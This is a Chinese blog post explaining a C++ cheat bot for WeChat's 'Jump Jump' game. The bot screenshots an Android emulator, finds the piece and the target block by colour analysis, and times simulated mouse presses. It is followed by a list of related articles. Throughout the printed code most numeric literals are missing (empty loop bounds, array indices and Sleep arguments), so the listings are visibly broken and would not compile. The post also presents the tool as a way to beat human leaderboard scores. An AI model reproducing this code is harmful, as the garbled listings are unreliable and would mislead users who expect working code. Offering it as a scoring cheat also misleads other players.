写在前面

17年年底Wechat出了这个跳一跳的小游戏,今年2月份的时候简单地玩了一下,发现被游戏虐了(手太残了只能跳20多)。

     今天刚好有点空,于是就花了一个下午的时间写了一个跳一跳的c++辅助。

由于本OIER既不会Python,也不会安卓的USB调试,更不会单片机,故写了一一个操作安卓模拟器的辅助。

先放下效果:(只是先截个图而已,截止至目前跳了2150次,运行1小时55分钟)【未完待续】

据之前的跳一跳大赛的结果,尽管人类的第一为1.2W分,但仍被本半天速成辅助轻松碾在地上。

--------------------------------------------------------------------------------我是分割线-----------------------------------------------------------------------------------------------

一些最基础的东西

完成一次跳跃,你需要得到棋子位置及方块位置。进而计算出两者之间的距离,随后跳跃相应的距离。

在我尚不了解跳一跳底层的数据的时候,抓屏分析几乎是唯一选项。

所以你要先完成抓屏。

如何抓屏

在不额外导库的情况下,windows.h下提供了一个函数叫做getpixel,然而这个函数效率过低,显然不合适如此大面积的图像处理。

然而我又比较懒,不想去装库,但碰巧手头有我半年前手写的bmp库。

我从网上找了个快捷键自动截屏的小程序,通过发送快捷键将屏幕数据转为bmp存入磁盘,再用bmp读取(捂脸)。

反正这种简单游戏对辅助的吞吐量要求不高,就先这么凑合着用吧....

代码就不单独拎出来了

完成抓屏后,为了能够实现准确地识别棋子位置及方块位置,我们要先对界面做一些处理。

显然,我们要把背景和图形阴影给过滤掉。

经过多次抓屏分析,我们得到了跳一跳背景和阴影的一些特征:

1,对于同行不同列,阴影部分的RGB数据完全相同,背景部分的RGB数据也完全相同,且阴影的RGB数据=背景的RGB数据/k (k约等于1.4356)

2,杜宇不同行的同列,背景部分的RGB数据可能不同,且对于全部行,$\Delta R,\ \Delta G,\ \Delta B≤50$。

我们基于这两个性质,对游戏界面进行背景和阴影过滤。

如图所示,过滤前与过滤后。(请先无视除背景颜色变化外的所有东西)

【实现方法】

我们对于每一行分开处理,对于一个正在处理的行,找出该行内出现次数最多的颜色,随后通过计算算出该行阴影的rgb数据。随后将这两种颜色的像素设为黑色(#000000)

该方法的缺点也是显而易见的,首先,无法过滤阴影的边框,且对于方块分布较密集的部分,该过滤方式可能会出现一些问题。

所幸的是,不过滤边框几乎不会影响到接下来的判定,且目标点附近不会出现许多个方块(仅1个嘛....)

滤色部分代码:

      for(int i=;i<=P.n;i++){
mp.clear();//该map用于判断颜色众数,由于对吞吐量要求不高,故没有进一步优化
for(int j=;j<=P.m;j++)
mp[node(P.r[i][j],P.g[i][j],P.b[i][j])]++;
map<node,int>::iterator it;
node maxid,maxid2; int maxn=;
for(it=mp.begin();it!=mp.end();it++){
if(maxn<it->second){
maxn=it->second;
maxid=it->first;
}
}
maxid2.r=maxid.r/conY;//cony即为上文所说的某个常数
maxid2.g=maxid.g/conY;
maxid2.b=maxid.b/conY;
for(int j=;j<=P.m;j++){
if(maxid.cmp(P.r[i][j],P.g[i][j],P.b[i][j]))
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
if(maxid2.cmp(P.r[i][j],P.g[i][j],P.b[i][j]))
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
}
}

如何找到棋子

笔者通过简单地分析,发现棋子的色域非常特殊,几乎不存在与棋子相同颜色的方块。

根据此特征,我们只需要求出在特定色域内的点所构成的点集,随后对这些点求一个平均坐标,再加上一个常数项的偏移,即可求出棋子的近似坐标。

用于判定点集的色域:$R∈[43,68],G∈[49,57],B∈[76,102]$。

捕捉到的棋子:

被染成灰色的部分为在色域内的点,白色点即为所有灰色点的平均加偏坐标。

经过近万次实际捕捉,可以证明大胆猜想该方法是有效的。

代码如下:

 #define LR 43
#define RR 68
#define LG 49
#define RG 57
#define LB 76
#define RB 102 int sumx=,sumy=,cntx=;
for(int i=;i<=P.n;i++)
for(int j=;j<=P.m;j++){
int dR=abs(P.r[i][j]);
int dG=abs(P.g[i][j]);
int dB=abs(P.b[i][j]);
int cnt=;
if(LR<=dR&&dR<=RR) cnt++;
if(LG<=dG&&dG<=RG) cnt++;
if(LB<=dB&&dB<=RB) cnt++;
if(cnt==){
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
sumx+=i; sumy+=j; cntx++;
}
}//识别棋子

如何确定目标点

我们先大胆假设,我上一次跳到了中心点!!!

我们不难发现,在下个方块的正中心,出现了大大的白点?

经过反复的抓屏,我们发现这个白点具有以下几个性质:

1,永远在目标的正中心。

2,除了边界颜色与目标本身稍有混合外,其余部分相同且不变(#F1F1F1)

3,该点不变色部分的颜色具有近似唯一性(除了药瓶瓶口附近外,其余的格子均不会出现这种颜色,包括看起来很白的几个方块)。

基于这三个特性,我们不妨大胆猜出一个抓白点的方法:

在全屏范围内搜索,是否存在一个色块,满足其大小为12*8px,且颜色均为#F1F1F1。

通过多次测试可以发现满足此条件的色块均在白点内,药瓶子是找不到这样的位子的。

在符合条件的色块中,任意选出一个色块,则目标点的坐标即为该色块的中点(因为色块数量非常少,且非常集中,经测试该方法偏移仅为±2px,和因模拟器卡顿造成的偏移已相差无几,故几乎不用担心精度问题)。

由于存在机器卡顿,误差累计等问题,故无法保证每次跳跃均落在中心点(目前中心率为89.1%),目前最好的记录是连续50次跳到中心点。

这个记录,我相信不采用辅助人手是完全无法做到的。

代码:

   CAP.readfile("0000white.bmp");//对白点的特殊优化,由于赶工,采用了直接读取bmp的方法
int minn=,maxx=,maxy=;
for(int j=chessX;j>=chessX-;j--)
for(int i=;i<=P.m-CAP.m;i++){
int sum=,pcnt=;
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
sum+=pf(P.r[j+jj][i+ii]-CAP.r[jj][ii]);
sum+=pf(P.g[j+jj][i+ii]-CAP.g[jj][ii]);
sum+=pf(P.b[j+jj][i+ii]-CAP.b[jj][ii]);
}
if(sum==){
minn=sum,maxx=i,maxy=j;
break;
}
}
//cout<<minn<<endl;
if(minn==){
printf("catch white point!\n");
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
P.r[maxy+jj][maxx+ii]=;
P.g[maxy+jj][maxx+ii]=;
P.b[maxy+jj][maxx+ii]=;
}
TX=maxy+; TY=maxx+;
P.r[TX][TY]=; P.g[TX][TY]=P.b[TX][TY]=;
// P.outfile("test.bmp");
return ;
}

绿色的位置即为匹配到的白点,红点为预计落点

然而,不幸的是,还是有11%的概率跳不到中心点上,下面我们就要采用另一套算法来解决问题:

我们不妨假设这棋子在屏幕的左半边,且我们已知棋子的中心坐标。

我们以棋子为原点,以正右方向为X轴正半轴构造笛卡尔坐标系。

通过简单地统计,我们不难发现目标的位置大概在$f(x)=tan \frac{\pi}{6}x$上

于是我们构造五条射线$f(x)=tan \frac{\pi}{6}x-10$,$f(x)=tan \frac{\pi}{6}x-5$,$f(x)=tan \frac{\pi}{6}x$(图中画出了这一条),$f(x)=tan \frac{\pi}{6}x+5$,$f(x)=tan \frac{\pi}{6}x+10$,将在线上的所有像素取出。

随后,我们找出出现次数最多的颜色,对所有该颜色像素求一个平均坐标,即可得到目标点位置。

考虑到该游戏中存在有花纹较多的方块(如437天,木纹小板凳),我们钦定一个常数eps(允许误差范围),求出像素数量最多的色域(可以理解为$R∈[r-eps,r+eps],G∈[g-eps,g+eps],B∈[b-eps,b+eps]$)求出该色域内所有像素的平均坐标,得到目标点。

如上方右图所示,被染成绿色的点即为判定点,中心红点即为预计落点。

为了提升精度,eps会根据出现的颜色数量而做出相应的调整。

本辅助中,设置了4个阈值5个eps。

对于棋子在屏幕右半边的情况同理。

代码:

   memset(X,,sizeof(X)); memset(Y,,sizeof(Y));
memset(lineR,,sizeof(lineR)); memset(lineG,,sizeof(lineG)); memset(lineB,,sizeof(lineB));
//loop:;
mp.clear();
if(chessY<= ){
for(int i=chessY+;i<=P.m;i++){//绘制函数
int j=chessX-(i-chessY)*tan30;
if(P.r[j][i]==&&P.g[j][i]==&&P.b[j][i]==) continue;
cnt++;
lineR[cnt]=P.r[j][i];
lineG[cnt]=P.g[j][i];
lineB[cnt]=P.b[j][i];
X[cnt]=j; Y[cnt]=i;//将函数上的点加入集合中,下文同理
mp[node(P.r[j][i],P.g[j][i],P.b[j][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
P.r[j+][i]=P.r[j-][i]=;
P.g[j+][i]=P.g[j-][i]=;
P.b[j+][i]=P.b[j-][i]=;
}
}else{
for(int i=chessY-;i;i--){
int j=chessX-(chessY-i)*tan30;
if(P.r[j][i]==&&P.g[j][i]==&&P.b[j][i]==) continue;
cnt++;
lineR[cnt]=P.r[j][i];
lineG[cnt]=P.g[j][i];
lineB[cnt]=P.b[j][i];
X[cnt]=j; Y[cnt]=i;
mp[node(P.r[j][i],P.g[j][i],P.b[j][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
cnt++;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
cnt++;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
P.r[j+][i]=P.r[j-][i]=;
P.g[j+][i]=P.g[j-][i]=;
P.b[j+][i]=P.b[j-][i]=;
}
}
//printf("colorsum:%d\n",mp.size());
if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else JumpepsR=JumpepsG=JumpepsB=;
if(cnt==)
return ;
//if(cnt==0) goto loop;
int maxn=,maxid=,quan=;
for(int i=;i<=cnt;i++){
quan=;
int R=lineR[i];
int G=lineG[i];
int B=lineB[i];
int sum=;
for(int j=;j<=cnt;j++){
int DeltaR=abs(lineR[j]-R);
int DeltaG=abs(lineG[j]-G);
int DeltaB=abs(lineB[j]-B);
if(DeltaR>JumpepsR) continue;
if(DeltaG>JumpepsG) continue;
if(DeltaB>JumpepsB) continue;
sum+=abs(X[j]-chessX)*0.05+; //求出最大的色域
}
if(sum>maxn) maxn=sum,maxid=i;
}
int sumX=,sumY=,sum=;
int R=lineR[maxid];
int G=lineG[maxid];
int B=lineB[maxid];
for(int j=;j<=cnt;j++){
int DeltaR=abs(lineR[j]-R);
int DeltaG=abs(lineG[j]-G);
int DeltaB=abs(lineB[j]-B);
if(DeltaR>JumpepsR) continue;
if(DeltaG>JumpepsG) continue;
if(DeltaB>JumpepsB) continue;
sum++;
P.r[X[j]][Y[j]]=;
P.g[X[j]][Y[j]]=;
P.b[X[j]][Y[j]]=;
sumX+=X[j]; sumY+=Y[j];//求出该色域内点出现的最大次数
}
if(sum==)
return ;
sumX/=sum; sumY/=sum;//求出坐标
//求出目标点坐标
P.r[sumX][sumY]=; P.g[sumX][sumY]=P.b[sumX][sumY]=;
TX=sumX; TY=sumY;

找到坐标后,如何确定按压的时长

我们不妨猜想这个按压时间与两点间距呈线性关系。

通过简单地采样+散点图,于是就拟合出了该直线的斜率。

通过该方法,得到的跳跃时间$T=2.55 \times dist$,其中$dist$表示起点到终点的距离,单位为像素,T的单位为毫秒。

后来,我发现该拟合方法误差较大,只能实现连续36次跳至中心点,中心点率为85%。

为了进一步提高精度,我又发现了一个性质:需要跳跃的时间与dist并无直接关联,但与dist在$y=tan \frac {\pi}{6}x$上的投影有关。

因此,优化算法如下:

令向量$\vec a=BEGIN-END$,其中BEGIN表示棋子中心点坐标,END表示目标点坐标。

设一个单位向量$\vec b=(cos \frac{\pi}{6},sin \frac{\pi}{6})$

则跳跃时间$T=2.53 \times \vec a \cdot \vec b$ ,单位仍为毫秒。

再简单地调下参,就可以实现90%的中心点率,最高连续50次中心点啦~。

刚刚跳到4.4W挂掉了....本蒟蒻修复完bug了...

若要看二代辅助的细节,请移步下篇

整个一代辅助代码如下:

#include<bits/stdc++.h>
#include<cmath>
#include<windows.h>
#define d(x) keybd_event(x,0,0,0)
#define u(x) keybd_event(x,0,2,0)
#define s(x) Sleep(x)
#define me(x) mouse_event(x,0,0,0,0)
#define sc(x,y) SetCursorPos(x,y)
#define gk(x) GetAsyncKeyState(x) #define M 100000
using namespace std; int up(int x){while((x*)%!=) x++;return x;}
int lf(int x){return abs(x);}
void printhead(unsigned char c[],int n,int m){
//该函数用于写入一个24位bmp头
c[]=0x42; c[]=0x4d; //BM
unsigned siz=+*up(n)*up(m);
for(int i=;i<=;i++){
c[i]=siz&; siz=siz>>;
}//写入siz
siz=*n*m;
c[]=0x36;//写入数据头位置
c[0x0e]=0x28;//头大小
for(int i=0x12;i<=0x15;i++) c[i]=m&,m>>=;//写入宽度
for(int i=0x16;i<=0x19;i++) c[i]=n&,n>>=;//写入高度
c[0x1a]=;//永远为1
c[0x1c]=0x18;//24位位图
//for(int i=0x22;i<=0x25;i++) c[i]=siz&255,siz>>=8;//写入去头字节数
}
#define MFLONG 15000000
#define W 1921
#define H 1081
unsigned char _c[MFLONG]={};
struct board{//画布函数
int n,m;//宽高
unsigned char r[H][W],g[H][W],b[H][W];
board(){
n=m=; memset(b,,sizeof(b));
memset(r,,sizeof(r)); memset(g,,sizeof(g));
}
board(int nn,int mm,int R,int G,int B){
n=nn; m=mm; memset(b,B,sizeof(b));
memset(r,R,sizeof(r)); memset(g,G,sizeof(g));
}
void clear(){
n=m=; memset(b,,sizeof(b));
memset(r,,sizeof(r)); memset(g,,sizeof(g));
}
void outfile(char ad[]){
FILE *fp; fp=fopen(ad,"wb");
printhead(_c,n,m); int ns=;
for(int i=n;i;i--){
for(int j=;j<=m;j++){
_c[ns++]=b[i][j];
_c[ns++]=g[i][j];
_c[ns++]=r[i][j];
}
int k=(*m)%;
for(int i=;i<k;i++)
_c[ns++]=;
}
fwrite(_c,,ns,fp);
fclose(fp);
}
void readfile(char ad[]){
FILE *fp; fp=fopen(ad,"rb");
fread(_c,,MFLONG,fp);
fclose(fp);
for(int i=0x15;i>=0x12;i--) m=m<<,m=m+_c[i];
for(int i=0x19;i>=0x16;i--) n=n<<,n=n+_c[i];
int ns=;
for(int i=n;i;i--){
for(int j=;j<=m;j++){
b[i][j]=_c[ns++];
g[i][j]=_c[ns++];
r[i][j]=_c[ns++];
}
int k=(m*)%;
ns+=k;
}
fclose(fp);
}
};
board S,P,P2,CAP; void capture(){
d(VK_SNAPSHOT); u(VK_SNAPSHOT);
S.readfile("screenx.bmp");
}
#define epsR 2
#define epsG 2
#define epsB 2
#define conY 1.4356 ///过滤底色和阴影的参数 #define LR 43
#define RR 68
#define LG 49
#define RG 57
#define LB 76
#define RB 102
#define tan30 0.5773 /*#define JumpepsR 7
#define JumpepsG 7
#define JumpepsB 7//用于判断目标点的东西*/
int JumpepsR,JumpepsG,JumpepsB; int wx[]={-,-,-,,,,,};
int wy[]={-,,,,,,-,-}; struct node{
int r,g,b;
node(){r=g=b=;}
node(unsigned char R,unsigned char G,unsigned B){
r=R; g=G; b=B;
}
friend bool operator <(node a,node b){
if(a.r!=b.r) return a.r<b.r;
if(a.g!=b.g) return a.g<b.g;
return a.b<b.b;
}
bool cmp(int R,int G,int B){
int e1=abs(r-R);
int e2=abs(g-G);
int e3=abs(b-B);
if(e1>epsR) return ;
if(e2>epsG) return ;
if(e3>epsB) return ;
return ;
}
};
int pf(int x){return x*x;}
map<node,int> mp,mmp;
int chessX,chessY;//棋子的x,y坐标
int TX,TY;
int lineR[]={},lineG[]={},lineB[]={},X[]={},Y[]={};
int wave(){//完成对图像的底色和阴影过滤,以及求出棋子的中心点
P.clear();
int sx=,ex=;
int sy=,ey=;
P.m=ey-sy+; P.n=ex-sx+;
for(int i=sx;i<=ex;i++)
for(int j=sy;j<=ey;j++){
P.r[i-sx+][j-sy+]=S.r[i][j];
P.g[i-sx+][j-sy+]=S.g[i][j];
P.b[i-sx+][j-sy+]=S.b[i][j];
}
// P.readfile("st720.bmp");
//抓出图像 P2=P;
int sumx=,sumy=,cntx=;
for(int i=;i<=P.n;i++)
for(int j=;j<=P.m;j++){
int dR=abs(P.r[i][j]);
int dG=abs(P.g[i][j]);
int dB=abs(P.b[i][j]);
int cnt=;
if(LR<=dR&&dR<=RR) cnt++;
if(LG<=dG&&dG<=RG) cnt++;
if(LB<=dB&&dB<=RB) cnt++;
if(cnt==){
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
sumx+=i; sumy+=j; cntx++;
}
}//识别棋子 for(int i=;i<=P.n;i++){
mp.clear();
for(int j=;j<=P.m;j++)
mp[node(P.r[i][j],P.g[i][j],P.b[i][j])]++;
map<node,int>::iterator it;
node maxid,maxid2; int maxn=;
for(it=mp.begin();it!=mp.end();it++){
if(maxn<it->second){
maxn=it->second;
maxid=it->first;
}
}
maxid2.r=maxid.r/conY;
maxid2.g=maxid.g/conY;
maxid2.b=maxid.b/conY;
for(int j=;j<=P.m;j++){
if(maxid.cmp(P.r[i][j],P.g[i][j],P.b[i][j]))
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
if(maxid2.cmp(P.r[i][j],P.g[i][j],P.b[i][j]))
P.r[i][j]=P.g[i][j]=P.b[i][j]=;
}
}
if(cntx==)
return ;
sumx/=cntx; sumy/=cntx;
sumx+=;
P.r[sumx][sumy]=P.g[sumx][sumy]=P.b[sumx][sumy]=;
chessX=sumx+; chessY=sumy;
int cnt=;
// P.outfile("ok.bmp");
CAP.readfile("0000white.bmp");//对白点的特殊优化
int minn=,maxx=,maxy=;
for(int j=chessX;j>=chessX-;j--)
for(int i=;i<=P.m-CAP.m;i++){
int sum=,pcnt=;
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
sum+=pf(P.r[j+jj][i+ii]-CAP.r[jj][ii]);
sum+=pf(P.g[j+jj][i+ii]-CAP.g[jj][ii]);
sum+=pf(P.b[j+jj][i+ii]-CAP.b[jj][ii]);
}
if(sum==){
minn=sum,maxx=i,maxy=j;
break;
}
}
//cout<<minn<<endl;
if(minn==){
printf("catch white point!\n");
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
P.r[maxy+jj][maxx+ii]=;
P.g[maxy+jj][maxx+ii]=;
P.b[maxy+jj][maxx+ii]=;
}
TX=maxy+; TY=maxx+;
P.r[TX][TY]=; P.g[TX][TY]=P.b[TX][TY]=;
// P.outfile("test.bmp");
return ;
} CAP.readfile("0000brown.bmp");//对437天的特殊优化
minn=,maxx=,maxy=;
for(int j=chessX;j>=chessX-;j--)
for(int i=;i<=P.m-CAP.m;i++){
int sum=,pcnt=;
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
sum+=pf(P.r[j+jj][i+ii]-CAP.r[jj][ii]);
sum+=pf(P.g[j+jj][i+ii]-CAP.g[jj][ii]);
sum+=pf(P.b[j+jj][i+ii]-CAP.b[jj][ii]);
}
if(sum==){
minn=sum,maxx=i,maxy=j;
break;
}
}
//cout<<minn<<endl;
if(minn==){
printf("catch brown point!\n");
for(int ii=;ii<CAP.m;ii++)
for(int jj=;jj<CAP.n;jj++){
P.r[maxy+jj][maxx+ii]=;
P.g[maxy+jj][maxx+ii]=;
P.b[maxy+jj][maxx+ii]=;
}
TX=maxy+; TY=maxx+;
P.r[TX][TY]=; P.g[TX][TY]=P.b[TX][TY]=;
// P.outfile("test.bmp");
return ;
} //printf("%d %d\n",maxx,maxy); memset(X,,sizeof(X)); memset(Y,,sizeof(Y));
memset(lineR,,sizeof(lineR)); memset(lineG,,sizeof(lineG)); memset(lineB,,sizeof(lineB));
//loop:;
mp.clear();
if(chessY<= ){
for(int i=chessY+;i<=P.m;i++){
int j=chessX-(i-chessY)*tan30;
if(P.r[j][i]==&&P.g[j][i]==&&P.b[j][i]==) continue;
cnt++;
lineR[cnt]=P.r[j][i];
lineG[cnt]=P.g[j][i];
lineB[cnt]=P.b[j][i];
X[cnt]=j; Y[cnt]=i;
mp[node(P.r[j][i],P.g[j][i],P.b[j][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
P.r[j+][i]=P.r[j-][i]=;
P.g[j+][i]=P.g[j-][i]=;
P.b[j+][i]=P.b[j-][i]=;
}
}else{
for(int i=chessY-;i;i--){
int j=chessX-(chessY-i)*tan30;
if(P.r[j][i]==&&P.g[j][i]==&&P.b[j][i]==) continue;
cnt++;
lineR[cnt]=P.r[j][i];
lineG[cnt]=P.g[j][i];
lineB[cnt]=P.b[j][i];
X[cnt]=j; Y[cnt]=i;
mp[node(P.r[j][i],P.g[j][i],P.b[j][i])]++;
cnt++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
cnt++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
cnt++;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
lineR[cnt]=P.r[j+][i];
lineG[cnt]=P.g[j+][i];
lineB[cnt]=P.b[j+][i];
X[cnt]=j+; Y[cnt]=i;
cnt++;
mp[node(P.r[j+][i],P.g[j+][i],P.b[j+][i])]++;
lineR[cnt]=P.r[j-][i];
lineG[cnt]=P.g[j-][i];
lineB[cnt]=P.b[j-][i];
X[cnt]=j-; Y[cnt]=i;
mp[node(P.r[j-][i],P.g[j-][i],P.b[j-][i])]++;
P.r[j+][i]=P.r[j-][i]=;
P.g[j+][i]=P.g[j-][i]=;
P.b[j+][i]=P.b[j-][i]=;
}
}
//printf("colorsum:%d\n",mp.size());
if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else if(mp.size()<){
JumpepsR=JumpepsG=JumpepsB=;
}else JumpepsR=JumpepsG=JumpepsB=;
if(cnt==)
return ;
//if(cnt==0) goto loop;
int maxn=,maxid=,quan=;
for(int i=;i<=cnt;i++){
quan=;
int R=lineR[i];
int G=lineG[i];
int B=lineB[i];
int sum=;
for(int j=;j<=cnt;j++){
int DeltaR=abs(lineR[j]-R);
int DeltaG=abs(lineG[j]-G);
int DeltaB=abs(lineB[j]-B);
if(DeltaR>JumpepsR) continue;
if(DeltaG>JumpepsG) continue;
if(DeltaB>JumpepsB) continue;
sum+=abs(X[j]-chessX)*0.05+;
}
if(sum>maxn) maxn=sum,maxid=i;
}
int sumX=,sumY=,sum=;
int R=lineR[maxid];
int G=lineG[maxid];
int B=lineB[maxid];
for(int j=;j<=cnt;j++){
int DeltaR=abs(lineR[j]-R);
int DeltaG=abs(lineG[j]-G);
int DeltaB=abs(lineB[j]-B);
if(DeltaR>JumpepsR) continue;
if(DeltaG>JumpepsG) continue;
if(DeltaB>JumpepsB) continue;
sum++;
P.r[X[j]][Y[j]]=;
P.g[X[j]][Y[j]]=;
P.b[X[j]][Y[j]]=;
sumX+=X[j]; sumY+=Y[j];
}
if(sum==)
return ;
sumX/=sum; sumY/=sum;
//求出目标点坐标
P.r[sumX][sumY]=; P.g[sumX][sumY]=P.b[sumX][sumY]=;
TX=sumX; TY=sumY;
//P.outfile("test.bmp");
return ; //点击模组
} int main(){
while(!gk(VK_F7)) s();
keybd_event(VK_F7,,,);
char c[];
int cas=,x=,y,sum=,buchang=;
//Sleep(2000);
int last=;
while(){
cas++;
capture();
Sleep();
capture();
Sleep();
int k=wave();
if(gk(VK_F7)) return ;
int X=abs(TX-chessX),Y=abs(TY-chessY);
double d=0.866,b=1.732;
int he=*X+d*(Y-b*X);
printf("dist=%d pixel\n",he);
me(); s(he*2.528); me();
Sleep(); freopen("log.txt","r",stdin);
scanf("%d%d",&x,&y);
fclose(stdin);
sprintf(c,"log%d.bmp",x);
P.outfile(c);
sprintf(c,"st%d.bmp",x);
P2.outfile(c);
x++; y+=(k==);
printf("sumjump=%d,centrejump=%d\n\n",x,y);
freopen("log.txt","w",stdout);
printf("%d %d\n",x,y);
fclose(stdout);
freopen("con","w",stdout);
} }

【learning】微信跳一跳辅助c++详解 轻松上万 【上】的更多相关文章

  1. 【learning】微信跳一跳辅助c++详解 轻松上万 【下】

    如果你还没有看完本blog的上篇,建议您先看完上篇!! 第一代辅助如何死的? 我们先来看四张图      如上方最左图所示,前面是一个小圆柱子,看起来很人畜无害似不似?? 由于上一步跳出了偏差,并没有 ...

  2. 微信跳一跳辅助自动跳Python

    一.说明 此代码借鉴github一位大神所写,已经做了简化合并处理,如果能成功连上手机并运行,可以实现程序自动玩游戏,刷个1000+的分数轻轻松松 github源码地址 https://github. ...

  3. 微信跳一跳辅助Demo

    [原创] 前几天没事干看别人一直在玩微信上线的那一个跳一跳小游戏,玩着玩着老是掉下去,闲着没事呗 就想了想做一个辅助程序的呗.不过先做的手动版的.自动版的有点麻烦.就不发了.用的Java写的,也就一个 ...

  4. Android远程桌面助手扩展之微信跳一跳辅助

    微信跳一跳的外挂辅助已是五花八门,万能的TB上也有了各种明码标价的代练.微信小程序游戏的火爆甚至带火了手游外挂产业.另一方面,跳一跳游戏也在不断更新,防止使用外挂刷高分.Android远程桌面助手支持 ...

  5. 37.微信跳一跳辅助开发(C语言+EasyX)

    一.开发环境 开发环境 使用语言:C/C++ IDE:VS2010+ 其他三方库 EasyX(http://www.easyx.cn/downloads/) ADB(链接:https://pan.ba ...

  6. python 微信跳一跳辅助 复现

    本来用的是苹果ios得手机,但是步骤较为复杂,没有吃透,最后妥协用了android的机器搞得. 首先找到大牛的github https://github.com/wangshub/wechat_jum ...

  7. .NET开发一个微信跳一跳辅助程序

    昨天微信更新了,出现了一个小游戏"跳一跳",玩了一下 赶紧还蛮有意思的 但纯粹是拼手感的,玩了好久,终于搞了个135分拿了个第一名,没想到过一会就被朋友刷下去了,最高的也就200来 ...

  8. Python实现一个简单的微信跳一跳辅助

    1.  前言 微信的跳一跳相信大家都很熟悉了,而且现在各种外挂.辅助也是满天飞,反正本人的好友排行榜中已经是八九百都不足为奇了.某宝上一搜一堆结果,最低的居然只要3块多,想刷多少分就刷多少分,真是离谱 ...

  9. 微信跳一跳辅助JAVA 自动模拟点击

    工具:ADB 原理: 开始游戏后,使用ADB工具让手机截屏发送到电脑 分析图像中小人与目标中心点间的距离,根据一定比例计算出需要触屏的时间 使用ADB进行模拟点击(触屏)相应的时间,完成精准跳跃 程序 ...

随机推荐

  1. vue移动端h5页面根据屏幕适配的四种方案

    最近做了两个关于h5页面对接公众号的项目,不得不提打开微信浏览器内置地图导航的功能确实有点恶心.下次想起来了的话,进行总结分享一下如何处理.在vue移动端h5页面当中,其中适配是经常会遇到的问题,这块 ...

  2. 2018.10.19 bzoj1584: Cleaning Up 打扫卫生(线性dp)

    传送门 dp妙题. 考虑到每个位置分一组才花费nnn的贡献. 因此某一段不同的数的个数不能超过sqrt(n)sqrt(n)sqrt(n),于是对于当前的位置iii我们记pos[j]pos[j]pos[ ...

  3. 2018.07.17 HAOI2016 找相同字符(SAM)

    传送门 就是给两个字符串,让你求公共字串的个数. 本来大佬们都是用的广义后缀自动机,但我感觉后缀自动机已经可以做这道题了.我们对其中一个字串建出后缀自动机,然后用另外一个后缀自动机在上面统计贡献即可. ...

  4. 第四章 代词(Les pronoms )

    ★人称代词 .主语人称代词 第一人称和第二人称属纯人称代词,只能代人不能代物;第三人称可代人,亦可代物.如: La Terre est ronde. Elle tourne autour du Sol ...

